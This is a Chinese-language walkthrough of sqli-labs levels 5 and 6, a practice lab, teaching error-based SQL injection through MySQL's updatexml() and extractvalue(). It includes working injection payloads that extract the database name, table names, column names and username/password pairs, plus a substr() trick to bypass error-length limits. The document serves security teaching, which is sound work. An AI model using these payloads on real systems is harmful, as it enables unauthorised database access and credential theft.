sqli-labs靶场通关笔记:第5-6关 报错注入
第5关 报错注入
首先判断闭合方式,发现是单引号闭合。
但是新的问题出现了,它页面回显只有正确和报错两种状态,没有回显位,意味着union联合注入攻击不能生效。
只要思想不滑坡,办法总比困难多。这里发现报错的语句也会回显到页面上,那么就可以尝试使用报错注入。
需要用到两个函数,updatexml() 和 extractvalue()函数。
这两个函数都是 MySQL 内置的用于处理 XML 数据的函数,语法如下:
//UPDATEXML函数
UPDATEXML(xml_target, xpath_expr, new_value)//EXTRACTVALUE函数
EXTRACTVALUE(xml_frag, xpath_expr)
updatexml()用于修改,extractvalue()用于查询,两者都严重依赖第二个参数作为 XPath 表达式 来定位或操作 XML 中的特定部分。当提供一个无效的、不符合 XPath 语法规则的字符串作为第二个参数时,函数会执行失败并抛出一个运行时错误。这正是关键点所在,如果在不合法的字符串中构造子查询语句,那么数据库在报错时,会将子查询的结果包含在内。
本关中报错是有回显的,意味着可以利用这两个函数去构造语句来读取回显数据。
1.updatexml()函数构造
?id=1' and updatexml(1,concat(0x7e,(select database())),3) --+
解释:updatexml()函数需要有三个参数,1和3作为占位符,0x7e是“~”符号的16进制,作用是构造无效的XPath表达式(在XPath 1.0 规范中,表达式不能以操作符开头),concat()起拼接作用,将子查询语句连接到其中。
(1)这里成功查询到当前数据库的名称。
(2)进一步查询。
//查询数据库中的表
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(table_name) from information_schema.tables where table_schema=database()
)),3) --+
//查询表中字段
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
)),3) --+
//查询字段数据
?id=1' and updatexml(1,concat(0x7e,(
select group_concat(username,password) from users
)),3) --+
这里又出现了一个新的问题,MySQL 对错误信息的长度有限制,updatexml()函数最多返回 32 字节。回显的数据不完整。
可以使用substr()函数分段提取数据。
?id=1' and updatexml(1,concat(0x7e,
substr((select group_concat(concat(username,'@',password)) from users),1,10
)),3) --+
2.extractvalue()函数构造
方法和updatexml()相同。
第6关 双引号闭合的报错注入
解法与上一关相同。